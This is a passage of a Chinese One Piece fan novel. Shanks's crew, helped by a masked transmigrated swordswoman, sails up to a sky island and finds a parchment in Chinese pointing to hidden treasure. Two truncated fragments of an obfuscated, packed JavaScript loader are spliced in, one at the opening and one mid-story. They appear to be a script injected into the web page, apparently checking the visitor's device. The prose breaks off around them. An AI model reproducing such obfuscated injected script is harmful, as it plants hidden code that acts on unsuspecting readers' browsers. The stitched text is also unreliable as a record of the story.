;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她仰起头，任由渗进面具的雨水流到眼睛里也要一瞬不瞬地盯着香克斯的方向。 “神避。” 红色的闪电缠绕成巨大的狮鹫咆哮着冲向巨船，化作一道斩击将其劈成两半。 “砰！砰！！砰！！！”被劈成两半的巨船接二连三地发生爆炸，熊熊火焰连乌黑的云层都烧红了。 火光刺目，奥西娅不由自主地屏住呼吸，直到让她牵挂的那道身影从火焰里一跃而出，她才终于恢复呼吸。 带着海腥味的空气争先恐后地涌进肺腔，涨得她有些酸痛……奥西娅的手指不由自主地蜷起，抠了两下桅杆。 斯内克看着手腕上的记录指针，皱起眉头：“兄弟们，情况有点不对劲儿了啊。” 耶稣布抹了把脸上的雨水，吐槽：“还能有比从天上往下掉船更不对劲儿的事儿啊?” “嗯……”斯内克把脸上的墨镜推到额头，湿漉漉的刘海也被墨镜固定到了脑后，“因为，记录指针现在指着的方向，是天上。” “……” “……” “……” 沉默的三秒过后……“纳尼?！！！！” “喂喂！斯内克！不会是记录指针坏了吧?！” “肯定是坏掉了吧！天上怎么可能会有岛啊?！” “大骗子诺兰度的故事不是骗人的吗？！” “不都说空岛是幻想童话吗？！！！” “不，跟是真是假没有关系。”贝克曼低头，“咔嚓”一声，打火机点燃香烟，他深深吸了一口又缓缓吐出。 香烟的火光在风雨里明明灭灭，贝克曼望向站在龙头上的香克斯，唇角勾起：“决定我们的航向吧，船长！” 大家停下讨论，一致望向船的龙头。 一时间，只能听到巨浪拍打甲板的声音。 风鼓动着他湿透的白色衬衫，格里芬已经被收回了剑鞘，漏在草帽外面的红色发丝随风乱舞。 “走吧。”香克斯说。 【走吧。】十年前，也有人说过这句话。 “去哪儿?” 【去哪儿?】十年前，也有一伙人问过他们的船长这个问题。 他嘻嘻笑着，食指往天上一指：“天上。” 【天上。】 罗杰船长，这一次，我要和我自己的海贼团去空岛了。 众海贼：“哦！！！！” 【哦！！！！】 8. 第 8 章 (一) 雷德·佛斯号上响起了几乎能把云层掀翻的欢呼，“哦！！！！” “兄弟们！去空岛喽！！！！” 斯内克指挥：“宾治！把舵往天上打！” 宾治：“哦！！” “……八嘎！”宾治一巴掌把斯内克呼到甲板上，鲨鱼齿：“舵怎么可能往天上打啊！” “秋豆麻袋！你们先别吵！！前面出现了一个超级大漩涡啊！！！” “啊啊啊啊啊！宾治！！宾治！！！快把舵往回打啊！！！！” “不。”香克斯阻止他们，“把船往漩涡里开。” “……” “……” “……” “开你个大头鬼啊！！” “白痴船长你以为我们是海王类吗？！掉进那种漩涡里是真的会死人的啊！！！！” “呜呜呜呜！”香克斯想要说些什么，却被愤怒的耶稣布等人扼住了命运的喉咙，险些成为大海上第一个被船员掐死的船长。 “我宣布头儿他已经疯掉了！大家赶紧把船往回开！！” “哦！！！！！！！！” 这个场景属实令人震撼，巨大的漩涡就像是深海中的某种怪物张开了它的大嘴，等待着过往的猎物乖乖送上门去，雷德·佛斯号在它面前显得是那么渺小。 小小的雷德·佛斯号努力往漩涡外围开去，终于逐渐脱离了那张“深渊巨口”，就在大家都松了一口气的时候，一只巨大的海王类突然从船旁边跃了出来。 海王类：“……” 红发海贼众：“……” 面面相觑。 红发海贼众：“啊啊啊啊啊——！！！！” 大家的脸都吓变形了，海王类一尾巴就把雷德·佛斯号抽回了深海大漩涡。 海贼们一边乘着雷德·佛斯号往漩涡里飞，一边朝着同样被卷入漩涡的海王类竖起中指：“啊啊啊CIAO——你大爷啊！！！！” 只有香克斯例外，他从耶稣布手里挣扎出来，按住头顶要被吹飞的草帽哈哈大笑，还跟人家海王类道谢：“哈哈哈哈阿里嘎多！” 众海贼的中指立马调转方向朝向他：“阿里嘎多你大爷啊啊啊啊！！！！” “哈哈哈哈哈哈哈！” 众海贼：“笑你大爷啊！！！！” 香克斯“噫”了一声，很奇怪：“前往空岛不就是要乘坐上升海流吗，我难道没告诉过你们？” “……” “……” “……” “你就是没告诉过我们啊！！！” “唉，是嘛？那还真是不好意思啊，我忘记了哈哈哈哈哈哈！” “……” “……” “……” 三十秒后，贝克曼叼着烟，把鼻青脸肿的白痴船长拎着手里，“现在告诉我，你还有什么东西忘记说了吗？” 香克斯举起左手机械地摆了摆，“没、没有了。” 贝克曼松开手，看向斯内克：“情况怎么样？” 斯内克谨慎地观察着海流的方向，点头：“情况不错。” “跟头儿说的一样，不要打反舵也不要反抗海流，很快就可以顺利抵达漩涡眼，接下来就等着海流爆发把咱们冲到天上就行了。” “……” 其他人听了并没有感觉到“情况不错”。 耶稣布：“雷德·佛斯号真的不会被上升海流直接冲断吗？” 香克斯：“你要相信我们的船啊，他可是很强的。” 耶稣布：“……闭嘴吧你个待罪之身，你现在没人权发言。” 香克斯：“……” 香克斯嘴角下拉，像只大虾。 耶稣布看向贝克曼：“副船长，可以借我一支笔、一张纸和一个漂流瓶吗？我要给班奇娜和乌索普留封绝笔。” 贝克曼：“……” 奥西娅视线微妙地看向耶稣布，这种时候你倒是知道写信了，原漫画里你倒是往家里寄几封信啊！渣男！！ “这样下去不行啊……”斯内克看着雷德·佛斯号渐渐被卷入漩涡深处，眉心紧皱：“上升海流再不爆发的话，船会先一步被漩涡吞没的。” 话音刚落，雷德·佛斯号就来了个信仰之跃，带他们从漩涡边边上直接跳进了黑洞洞的漩涡眼，大家的眼珠子甚至还留在漩涡外边。 众海贼：?！！！！ 奥西娅：！！！！这艘船指定有什么船灵了吧！！这么有自己的想法！！！ 就在他们以为这次死定了的时候，漩涡却突然消失了，雷德·佛斯号稳稳停在了变为平静海面的原漩涡眼处。 “不……”斯内克若有所感的低下头，“是海流爆发要开始了！” 众海贼：！！！！ 船体开始震动。 香克斯大笑：“哈哈哈兄弟们，启航啦！” 随着香克斯的话，上升海流如同一根擎天巨柱直通云霄，雷德·佛斯号乘着上升海流极速朝着天空飞驰。 众海贼攀住船上的桅杆和栏杆牢牢固定住自己：“啊啊啊啊——哈哈哈哈哈！！！！” “呦吼——！冲啊！！雷德·佛斯号！！！” “全速前进！出发！！空岛！！！” 每个人脸上都洋溢着兴奋，对全新的冒险充满了期待。 奥西娅抱紧桅杆，望向站在最前方攀住龙角欢呼大笑的香克斯，海浪在他周围四溅，风把他的白衬衫吹得猎猎作响…… 她突然想起原作尾田说他是“最接近海贼王王座的人”。 奥西娅觉得那样说也没错，如果说“海贼王”的定义是“这片海上最自由的人”，那现在这片大海上再没有比香克斯更加能体现“自由”的海贼了。 (二) 然而他们也没能悠闲太久，为了跟着垂直向上的海流直达空岛，整艘船也被迫垂直过来，所有人都挂在船的各个部位，特别是甲板上现在到处都是海水，尤其湿滑，稍有不慎就会被甩飞出去。 屋漏偏逢连夜雨，在这种时候，天上竟然开始往下掉各种船只碎片，还有被上升海流连带着卷起来的海王类。 于是，香克斯从站在船头迎风大笑的男人，变成了站在船头手持格里芬劈砍垃圾的男人……嗯，不得不说，其实有点像早些年流行的手游《水果忍者》。 当然，不能只让香克斯一个人当“忍者”，否则他忍着忍着就会闹的！ 其他人纷纷掏出自己的武器各显神通，奥西娅也从腰间抽出了云澈，这还是红发海贼团的海贼们第一次见到鬼面的佩剑。 虽然情报里有提到说鬼面是名剑士，但他们从没见到过对方的佩剑，原来是像腰带那样缠在腰间了吗！ 红发海贼众：“斯国一——！” 奥西娅被他们震惊的点儿搞得哭笑不得，正想说点什么，船体就突然被什么东西撞了一下，冲撞的力度让她差点翻出船舷。 “砰”的一声，船体再次受到撞击。 “发生什么事儿了?” “船底下有什么东西！” 靠近船舷的几个人扒着栏杆往船体下方看，只见船下隐约有几个巨大的阴影正在随着雷德·佛斯号移动。 “我去……路，我眼睛没花吧?！” “……如果我眼睛也没花的话，那船底下有好几双眼睛呢！！” “是海王类！一、二、三……靠！有五只大型海王类正在撞咱们的船啊！！！” “可真会凑热闹……呜哇！”莱姆琼斯连忙扣住船舷以免被颠下去，语气变得有些危险：“力气还挺大！” 手里的长棍缠绕上电击，即将对那群海王类出手。 其他人也握紧手里的武器蠢蠢欲动。 “别轻举妄动。”本乡阻止他们，“要解决那群大家伙可不能在船上动手，船会被撞坏的！这可是上升海流啊，一旦不小心下去，未必能再回来！” “不只是这个问题……”斯内克观察了一会，得出结论：“只是要驱赶他们的话，单靠头儿的霸王色就可以。可问题在于雷德·佛斯号原本就是在乘着海流抵抗重力向上的。” “也就是说，随着船越升越高，面临着掉下去的危险也越大……这群海王类虽然会撞咱们的船，但雷德·佛斯号在它们的撞击下反而不至于那么快就掉下去。” “……” “……” “……” 其他人听得一脸懵逼，一起歪头看向他：“哈?” 斯内克：“……” “简单说就是，你们要是把海王类给砍了，咱们就得掉下去摔死！都别活！！！” “搜嘎——！” 一群人恍然大悟，“所以说，不能砍这些海王类，它们是不可思议的救命鱼啊！！！” 斯内克：“……对。” 明明他们也算是理解正确了，可为什么他还是觉得心累无比呢? “只要确保雷德·佛斯号能一直顺着上升海流的方向前进，那避开海王类的撞击也无所谓，对吗？” 一直没怎么说过话的鬼面突然出声，斯内克愣了一下，虽然不知道对方想干什么，但还是老老实实点头，“理论上是这样没错，但实际操作上……”比较困难。 斯内克剩下的话没能说出口，只见鬼面突然半跪，双手撑在甲板上，他周身浮现出一层海蓝色的光晕，这片光晕还在不断扩大，直至将整个雷德·佛斯号都笼罩其中。 下一秒，雷德·佛斯号的船身渐渐离开了上升海流的表面，水里的海王类也无法再撞击到他们。 “呜哇！怎么回事儿?！” “哇靠！发生了什么！！！” 船上的惊呼声接连响起，连船头的香克斯和贝克曼也瞳孔微震地看向奥西娅。 “喂喂，我怎么觉得……” “没错，鬼面他……” “让雷德·佛斯号……飞起来了啊——！” “咱们的船，雷德·佛斯号，他现在正在天上飞啊！！！！” (三) 短短一、两分钟，在飞天版雷德·佛斯号的全力加速下，整艘船破云而出，超高速的飞行让红发团的人几乎喘不过气来，弱一点的很快就晕了过去。 除了还勉力维持雷德·佛斯号继续往上飞的奥西娅，红团里只剩下香克斯、贝克曼、耶稣布、路、本乡、斯内克、宾治、猛士达和莱姆琼斯还清醒着。 放眼望去，雷德·佛斯号已经身处一片洁白的云海之中，但奥西娅并没有停下，操控着雷德·佛斯号继续往上航行。 斯内克看了一眼记录指针，指针果然还指着上空，“难道这里还不是空岛吗？” 香克斯点头，“这里只是白海，空岛存在于白海之上的白白海。” 他走到奥西娅身边蹲下，脸上带着笑容：“你已经做的很好了，可以休息了，接下来就交给我吧。” 奥西娅没问要是她休息了雷德·福斯号要如何继续向上航行，在他说她可以休息的时候，她的身体就先大脑一步下意识地放松了下来。 相比于下面，这里的高度让空气变的非常稀薄，导致人的运动能力大幅度下降，奥西娅还消耗了大量法力，一旦放松下来就再也稳不住身形了，身体一歪，靠进了香克斯怀里。 失去控制的雷德·佛斯号开始下坠…… 香克斯把她打横抱到桅杆处嘱咐她抱牢，贝克曼他们也分散开来各自抓牢几个晕过去的海贼同伴。 香克斯几下跃到船尾，抽出格里芬朝下方挥出一道剑气，船下坠的趋势顿时被强大剑气的反冲力遏制住了……第二道剑气挥出，雷德·佛斯号继续朝上方航行起来。 前方很快出现了一片光明，雷德·佛斯号腾空而起，再次冲破云层，一片被奇异植物与白色云朵交织的梦幻之地出现在大家眼前。 毫无疑问，他们顺利抵达了传说中的空岛，奥西娅紧绷的神经彻底放松，两眼一闭，疲惫得昏睡了过去。 (四) 她是被外面各种乱七八糟的动静吵醒的，醒来时发现自己已经躺在了房间的床上，面具居然也好好的带在脸上……奥西娅摸着脸上的面具，笑了一下。 又不是感觉不到香克斯他们有多好奇“鬼面”面具下面的样子，还以为他们会趁机摘下来看看呢，小看他们了啊~ 推开房门，映入眼帘的不是蔚蓝的大海，而是洁白如雪的云层，这里是真正的万米高空之上。 《海贼王》里的空岛并非单指某一座岛屿，而是漂浮在空中的岛屿的总称，这些空岛如同普通海面上的岛屿那样有很多座，并且漂浮在不同的地方，她上上辈子知道的就有加雅岛、碧卡岛以及维萨利亚岛三座，不知道这里是不是其中之一…… “鬼面他醒了！”一声尖叫响起。 奥西娅愣了一下，下一秒就被海贼们团团围住。 他们双眼放光：“斯国一——！” 奥西娅：? 感觉他们的眼神就跟狗看到肉骨头似的……奥西娅默默往后退了一步。 但他们丝毫没有感受到奥西娅的拒绝，还步步紧逼，一个接一个地往前凑，“咱们的船能飞起来，是你做的吧?是你做的吧?！是你做的吧！！！” “原来你这家伙才是最厉害的魔法师啊！” “所以，获得鸽子是真实存在的对吧？！” “那个……”奥西娅退到墙角，双手挡在身前，“我的力量不是魔法，我也不是魔法师……” 这群家伙要是肯听人说话才奇了怪了世界也要毁灭了，有一个不听人说话的船长带头，他们是有样学样…… “我们到获得鸽子去的话是不是也能学习魔法！！！” “斯国一——！我也想在天上飞！！” “鬼面森塞！你看我有没有当魔法师的天赋！！！” “……” 奥西娅着实有些招架不住，他们激动地朝她扑了上来，她仿佛看到了一群扑向狗粮的哈士奇！ 救命…… 哈士奇们扑上来的瞬间，奥西娅眼前一花，那群哈士、海贼就扑到了一个穿着西瓜条纹T恤的胖子身上。 路嘿嘿一笑，肚皮一挺，直接把那群哈士奇弹飞到了船外的云海里，接二连三的落水声和骂骂咧咧的声音响起，还伴随着被耶稣布的怒吼：“靠！溅老子一身水！” 路肉滚滚的手指往下扯了扯自己有点变短的弹力T恤，转身把手里的餐盘递给她，“呐，特意给你留的，差点就被头儿他们给吃光了。” “阿里嘎多！” 她现在饿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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猛士达本来正攀在空岛特有的热带树上摘那种既像椰子又像南瓜的果实，听见他们的争论立刻把手里的果实扔了过去。 宾治站在树下，身后的背篓里装满了猛士达摘下来的果实，无奈地翻译道：“猛士达说他才不要陪你们争论这么幼稚的事情。” 那俩人躲开果实，丝毫没有被嫌弃的自觉不说，还反向嫌弃起人家来：“唉——好冷淡呀，猛士达！” 这时架在岸边的鱼竿动了动，香克斯立刻兴奋地跑过去，“这次绝对是条大鱼！” 耶稣布紧跟其后地冲过去：“喂！那是我的鱼竿！旁边那个才是你的！” 香克斯：“哈哈哈耶稣布你输定了！” 耶稣布鲨鱼齿：“给我听人说话啊！混蛋船长！！” 他俩一左一右挣着手里的鱼竿，谁都不肯撒手，使劲往后一甩，鱼线就拽着一条大鱼从云似的海水里飞上了半空，划过一道完美的圆弧……“啪”，一下子砸在了正在看书的贝克曼……的脑门上，正中靶心！ 香克斯：“……” 耶稣布：“……” 奥西娅：“……” 那条大鱼从贝克曼的脑门上滑下来，路过他那张帅脸的时候还甩着尾巴“啪啪啪”地抽了好几个大嘴巴子，留下了满脸的水痕和鱼尾印子后，大鱼“啪叽”一下掉在了当事人手里的书上……具有收藏价值的手写本原稿立马花了，副船长仿佛听到了三千万贝利飞走的声音。 香克斯：！！！ 耶稣布：！！！ 香克斯和耶稣布疯狂把鱼竿往对方手里塞。 贝克曼斯条慢理地掏出手帕把脸上的水痕擦干净，动作优雅的仿佛是一位绅士，然后…… 快乐玩耍的红发海贼众突然听到岸边传来接二连三的凄厉哀嚎，以为是有敌袭的海贼们手脚麻利地抄起家伙赶到现场……原来是副船长在暴打船长和狙击手啊。 “哦，那没事儿了。” “大家都散了吧，不是敌袭。” “走了走了，我刚才烤好的鱼还没来得及吃呢。” 可以看出，大家的习以为常。 (五) 贝克曼手握鱼尾，以鱼为刀，耍的那叫一个虎虎生风，把香克斯和耶稣布抽的“嗷嗷”直叫，满头大包地跪地求饶。 旁边不敢说话的奥西娅仿佛听到了“First blood”、“Double kill”、“Triple kill”、“Quadra kill”、“Penta kill”、“Aced——！”的游戏画外音。 力的作用是相互的，被当成大刀耍的大鱼也很不好受，甚至开始干呕起来，贝克曼嫌弃地把它丢在地上。 大鱼呕着呕着就呕出来一个玻璃瓶子，满目屈辱地看了贝克曼最后一眼，扑腾着跳回了云海。 可恶的两脚兽！本大鱼记住你了！！！ 被大鱼吐在地上的玻璃瓶子密封良好，里面装着一个火漆封缄的羊皮纸卷，贝克曼嗅到了冒险的气息……就是玻璃瓶子表面沾满了大鱼粘稠的胃液…… 贝克曼嫌弃的“啧”了一声，用脚屈了屈趴在地上的两个家伙，“去，把那个瓶子弄干净。” …… 一番折腾下来，太阳也下班了，红发海贼团驻扎的营地里燃起了大大小小的篝火堆。 至于为什么不回到隔壁的船上睡……笑话！这里可是传说中的空岛啊！！到了这里却不来露营的话他们死都不会瞑目的好吗？！！！ 营地最中央的篝火旁，有资格围坐在这里的只有船长香克斯、副船长贝克曼、登上空岛的头号功臣鬼面和两个缠在她身边的小姑娘，以及已经隐隐有红发团未来干部雏形的七个人/猴——耶稣布、拉奇·路、本乡、本迪克·斯内克、本克·宾治、猛士达以及莱姆琼斯。 其余海贼都心照不宣地不去打扰他们，把自己的篝火堆在他们周围。 篝火摇曳着橙红色的焰光。 两个玩了大半天的小姑娘已经筋疲力尽地枕着奥西娅的膝盖进入了梦乡，奥西娅抬手帮她们盖好被踢开的毛毯，面具下的神情很温柔。 香克斯他们正在研究羊皮纸卷上的内容……即便玻璃瓶子密封良好，但里面的羊皮纸卷还是有些氧化了，贝克曼花了不少功夫才把破损的地方修复完毕。 怕吵醒两个孩子，大家都压着声音说话，“斯国一——！副船长！！” 奥西娅也使劲儿点头表示赞同，贝克曼秀的这一手简直让人膛目结舌，如果在她上上辈子的那个世界，她肯定得推荐他去参加《我在故宫修文物》。 不过……虽然是修复好了，但更大的问题是，羊皮纸上的文字他们几个都不认识啊…… 贝克曼猜测：“难道是历史正文的那种文字?” 香克斯摇头，“不，虽然这种文字的形制也很规整，但它的写法比历史正文更复杂一些。” 他举起那张又软又破的羊皮纸，像模像样地凑过去闻了闻，然后被修复药剂的味道熏的直打喷嚏。 贝克曼：“……” 白痴船长。 难道闻闻就能认识上面的字了？ 但你还真别说，还真让香克斯找出了一个认识的词。 他眯起眼睛，借着火光仔细辨认着已经被岁月迷糊了的字形…… “Afo、go……morn，Afogomorn，亚弗戈蒙?” 9. 第 9 章 (一) “Afo、go……morn，Afogomorn，亚弗戈蒙?” 橙色的火光摇曳，在众人的脸庞上打出一片高深莫测的阴影，“这个称呼……” “是人名吗?” “不，更像是怪诞传说里的邪恶物种名吧?” “也有可能是地名?” 路举起手里的棒骨肉：“菜名?” 大家：“……” “不！只有你说的这个最不靠谱！！！” 奥西娅很好奇，“可以给我看一下吗？” 她膝盖上睡着两个孩子，不好跟他们挤到一块去看。 奥西娅接过香克斯手里的羊皮纸卷，看到后愣了一下，“这上面的字……” “是吧，感觉笔画好复杂啊！” “跟历史正文似的，字型四四方方。” “岂可修，上面到底写的是什么啊?” “感觉错过了一个无与伦比的大冒险啊！” “……我认识。” “没关系，不认识就不认识，反正大家都不认识。” “对啊，冒险这种事情也是讲究缘分的嘛，不是咱们的咱们也不强……”求。 八人一猴组：“……” “唉——?！！！纳……唔、唔唔唔！” 惊讶到一半的海贼们互相捂嘴，彼此指责：“嘘——！小点声！！别吵醒小乌塔她们！！！” 只要指责的够快，问题就全在同伴身上！ 香克斯他们围到她身边，眼睛被篝火映得仿佛里面也有一团火焰，闪闪发着光，“鬼面，这上面写了什么？” “……” 奥西娅还有点没能反应过来，怔怔地看着羊皮纸卷上的汉字，脑子里蹦出好几个问题……这是怎么一回事儿？为什么OP世界里会出现汉字?难道这片大海上还有跟她来自同一个地方的穿越者吗? 要不是还有两个孩子枕在她膝盖上，奥西娅都要兴奋地原地蹦几个来回了！ ……不，不对。 兴奋过热的大脑慢慢冷却，奥西娅突然想起来，根据羊皮纸卷的氧化程度可以判断它已经存在过不少年岁，少说也得百年起步……正常人，有几个能活过一百年的? 也就是说，即便真的有跟她来自同一个地方的穿越者，大概两个人穿越到的也并非是同一个时代，对方没准儿已经去世很久了。 “……” “鬼面?” 香克斯歪头看着她，怎么突然就不高兴了? 奥西娅抬头，对上香克斯他们关心的目光，心头微暖……算了，她在这里早就有了想要守护的家人，现在还遇到了可靠的同伴，没有老乡就没有老乡呗！ 奥西娅摇摇头示意自己没事，然后翻译出羊皮纸卷上的汉字，“日月重逢之际，时序女神的右手指引方向，开启关键的钥匙藏于鱼腹，被囚的亚弗戈蒙为未来留下秘宝。” “……” “……” “……” 听完翻译，香克斯他们面面相觑，篝火里“噼里啪啦”地炸开火花，几个人脸上的笑容越来越大，控制不住地呲着牙花傻乐，“斯国一！是根本听不懂的谜语哎！” “一听就知道是个大冒险！” 莱姆琼斯压抑着喉咙里想要爆发的尖叫，声音听上去有点像太监，“秘宝！！！发了发了！！我要给我的武器镶上钻！” “等咱找到秘宝，炮弹先买他个一百箱！五十箱用来打水漂，五十箱用来听个响儿！” “还有还有！还要去七水之都扩建雷德·佛斯号，给一直载着咱们的老伙计来点儿有钱海贼团的浪漫！” “先装上三十台大炮，海军来了我就突突突突突突突！就他们有炮吗？每次只敢躲在军舰上放炮的软蛋，老子早就看他们不爽了！” “没错！” “……” “……嘿嘿！” “嘿嘿嘿~” “嘿嘿嘿嘿，你们笑什么？” “你笑什么我就笑什么！你管我呢！！” 一群人想着还没影儿的事儿，想着想着先把自己给想乐了，奥西娅被他们逗的不行，也跟着一起笑了起来。 耶稣布搓搓鼻子，装模作样地抱怨：“就是没有永久指针，好烦啊~” “这种地方当然没有指针。”贝克曼指出最现实的问题，“别高兴的太早，这次的情况跟以往不一样，对方可没好心地留给咱们藏宝图。” “那有什么关系?”香克斯脸上带着快活明朗的笑，一头红发比火光还要张扬，他对他说：“贝克，未知才是海贼冒险的精髓啊！” “……呵。”贝克曼从喉咙里发出一声哼笑，唇角克制不住地上扬，他把烟头弹进篝火堆里，那点子火星像流星一样投入沸腾的火焰里，然后窜出了更高的火光来，“既然船长都发话了，那就先从这几句诗歌入手吧。” 斯内克举手：“关于这一点，我倒是有些发现。” (二) 按照红发海贼团以往的规矩，每场冒险的人员配置是:船长+半数干部成员+若干普通成员。 其中，可以参与冒险的那半数干部成员和普通成员一般由抽签决定。 一则，在船长他们出去冒险的时候，需要有可靠的干部留下来保护雷德·佛斯号和剩下那些没去冒险的普通成员。 二则，红发团跟少数精英派的草帽一伙不同，目前的雷德·佛斯号上除了有实力强悍的八大干部外，还庇护着不少实力较弱的海贼，这一点也决定了红发团外出冒险的时候不可能是全员出击。 一方面，香克斯他们双拳难敌四手，冒险途中遇到危险的时候，护不过来每一个人；另一方面就是，要是真带着一大堆人乌泱乌泱地去冒险，那不就成赶集了，还冒个der的险啊？ 但这一次，相比于没准儿的冒险，普通成员们显然更想继续享受空岛度假，所以此次冒险配置中的普通成员名额作废。而干部成员里，耶稣布、拉奇·路以及莱姆琼斯抽中了留守签……于是，此次冒险小队人员配置如下： 船长—香克斯、副船长—贝克曼、船医—本乡、航海士—斯内克、音乐家—宾治和他的搭档猛士达以及鬼面。 至于鬼面为什么能不抽签就轮空晋级? 废话，那些复杂的跟历史正文一样的文字，她不去谁认识啊！ 在耶稣布三人羡慕的口水都从眼睛里流出来的背景图中，六人一猴儿组成的空岛冒险小队踩着初升的太阳踏上了全新的冒险征途。 路上，斯内克走在最前方带路，“昨天下午勘测岛上地形的时候，我发现了一座形状奇异的山。现在回想一下，应该跟诗歌里的那句‘日月重逢之际，时序女神的右手指引方向’有关。” 说是带“路”，但其实根本没有路。举目望去，到处都是高耸入云的植物，像是误入了上上辈子的亚马逊热带雨林……嗯，还是放大了将近五倍的那种。 香克斯边走边留意到周围的植物同他早几年跟着罗杰船长抵达过的阿帕亚多上的植物很相似。而且，这座空岛的地面并非由当地的岛云构成，而是真正的土壤……香克斯怀疑这里跟阿帕亚多一样，也是多年以前被上升海流从下面冲上来的。 贝克曼注意到香克斯东看看西戳戳的好奇架势，想到了他以前那些令人发指的所作所为，有些头疼。 考虑到多少要给船长留点面子，贝克曼没有直说，委婉间接地提醒了所有人：“大家注意警戒，不要随便触碰不知名的植物，不要随便招惹看起来很奇怪的动物，也不要随便拣地上的垃圾吃。” 闻言，大家都视线微妙地看向了香克斯。 对方正拿着一根从路边捡来的、十分心水的、盘正条顺儿的笔直长木棍去戳一株一看就知道能让人躺板板儿的红伞白杆蘑菇。 奥西娅：“……” 感觉他以前一定做过什么不得了的事情，简直就是成年版的路飞尝百草啊。 被万众瞩目的香克斯一本正经地干咳两声，老老实实地把那根盘正条顺儿的木棍别回腰间，跟格里芬一起，二刀流！ 格里芬：有句MMP我一定要讲！ 奥西娅很怀疑，他是不是觉得只要他不尴尬，尴尬的就会是别人? “到了。” 斯内克停下脚步，指着前方那座光秃秃的小山，“你们看，那座山像不像个女人?” 映入眼帘的是一座高耸瘦削的“山”，说是山也不准确，它更像是一块跟山一样高的岩石，光秃秃的一片，没有生长任何植物。 诚如斯内克所说，有了诗歌的提示在先，大家伙儿再看那块奇形怪状的大石头，还真能看出点女人的身形轮廓来。 忽略掉它凹凸不平的灰褐色表面，它的轮廓确实形似一个仰望着天空的“姑娘”，“姑娘”的背后耸立着类似于“翅膀”的两块崖壁凹陷，它的“右臂”高高举起，右臂的顶端还有一块突兀的棱柱状奇峰，那姿态像是“女神”举起右手、食指指天。 对此，宾治摸摸自己的光头，合理质疑：“为什么是食指指天，不可以是中指吗？” 其他人：??? 干嘛?对苍天说句FUCK YOU 吗？ 贝克曼面无表情：“可能是怕被老天打雷劈死吧。” 其他人：！！！ 副船长你怎么了副船长?是谁把你给夺舍了嘛！！！ 其他人都是一脸惊恐，只有香克斯在哈哈大笑，他“啪啪啪”地拍着贝克曼的肩膀：“贝克，你的冷笑话真是越来越好笑了哈哈哈哈哈！” 这是奥西娅第一次知道，稳健的贝克曼其实是一个冷笑话讲得很烂的人，而香克斯则是这片大海上唯一一个可以Get到他笑点的捧哏。 本乡搓着胳膊一脸不得劲儿，“要是在知道诗歌以前让我看到这玩意儿，我只会觉得是块长的让人难受的破石头！特别是那根凸起的‘中指’，看着就想让人给它撅了！东西就是要平平整整的才好看啊！！” 很显然，这家伙的爱干净程度再次UP了，已经隐隐有了往洁癖和强迫症发展的趋势。 宾治很快就放下了纠结是“食指”还是“中指”的问题，转而提出另一个疑问：“可是，为什么女神的右手会指向天空呢？难不成空岛之上还有空岛，咱们想要寻宝就还得再往上飞一层才行?” “不。”贝克曼露出一丝微笑，“是诗歌的前两句终于对上了。” “日月重逢之际，时序女神的右手指引方向。”斯内克用中指推推镜框，将一腔鄙夷之情表达的淋漓尽致，“动动你们的脑子吧，蠢货们。” “一天之内，日月有两个时间段会同时挂在天上，一个是清晨，一个是日落。前者是开始，后者自然就是所谓的‘重逢’，所以……” …… 所以一群人原地开起了宴会。 让这群安静不了一点的海贼多动症患者老老实实呆在原地等待日落显然是件不可能发生的事情，用他们的话来说就是…… “啊?要一直等到太阳落山吗？那还要好长时间哎……” “呦西！那就用这段时间来开宴会吧！” “开宴会！为我们的航海士干杯！！” “哦！！！！” “敬我们发现了女神的右手！” “敬我们找到了秘宝！” “敬我们即将暴富！” “敬我们马上就要拥有五亿贝利！” “敬我们即将迎娶白富美走上人生巅峰！” “敬我们就要当爸爸啦！” “敬我们的儿子都会打酱油啦！” 奥西娅：“……” 不，后面那些完全就是在胡扯吧！ 奥西娅的沉默震耳欲聋，贝克曼以过来人的口吻开解她：“他们只是想找个理由干杯而已，你就当他们在狗叫好了，不用试图去听懂他们在说什么。” 奥西娅：“……” 不愧是副船长本·贝克曼，就是红发团里船锚一样的存在啊，情绪稳的一批！ 不过，干杯是不可能干杯的，他们身上只带了干粮和淡水，但这并不能阻止这群人自嗨上头。正所谓酒不醉人人自醉，这群家伙就是那种哪怕只能围着篝火侃大山也可以玩得很开心的乐天派角色。 更何况香克斯还带他们去丛林里打了猎物回来，宴会三要素人、肉、酒已经具备其二了，这群人可不得玩的更嗨? 奥西娅坐在篝火旁，手里拿着一串鳄鱼肉在火上慢慢地烤着，这是香克斯从丛林深处打回来的猎物，有趣的是，这种鳄鱼的头顶上居然长着香蕉…… 桥豆麻袋！这不就是阿拉巴斯坦特有物种香蕉鳄鱼吗？！！！ 为什么会出现在这里?！！！！ 而且跟普通香蕉鳄鱼的体型比起来，这里的起码要大上五倍左右！ 奥西娅面具后面的表情逐渐懵逼，是巧合还是OP世界里出了BUG?总有一种这次冒险里会发生什么意想不到的事情的预感。 其他人并不清楚奥西娅现在纠结的心情，他们围着篝火吃着肉，逐渐不满足于单纯的胡扯，把话题转到了不在场的同伴身上…… “哈哈哈哈鬼面你上船晚不知道，我跟你说耶稣布那家伙以前天天跟我们吹牛吹他跟他女神一镖定情！” “我也记得那个！他说他当年跟他女神表白，约定说……”宾治捏着嗓子学得惟妙惟肖：“我先扔一枚戒指~再投一枚飞镖~如果飞镖带着戒指钉在了你家窗框上，就答应嫁给我吧~” 奥西娅好奇：“然后呢？” “哈哈哈哈那混蛋当然吹牛说他一次就成功抱得美人归了，什么女神崇拜得不要不要的，当场就留下感动的泪水说非他不嫁~” 想起那件事，本乡也乐得不行，“结果有一天他自己喝醉说漏了嘴，实际情况是他在万众瞩目下把求婚对象家的玻璃给打碎了，他老丈人还正坐在窗户附近看书。飞镖擦着老人家的头顶扎进墙里，他老丈人当场被吓进了医院。最后这小子被他女神追杀了三条街哈哈哈哈哈哈！” 香克斯拍着大腿疯狂嘲笑，“对对对！还有莱姆琼斯被人妖杀猪盘那次！” 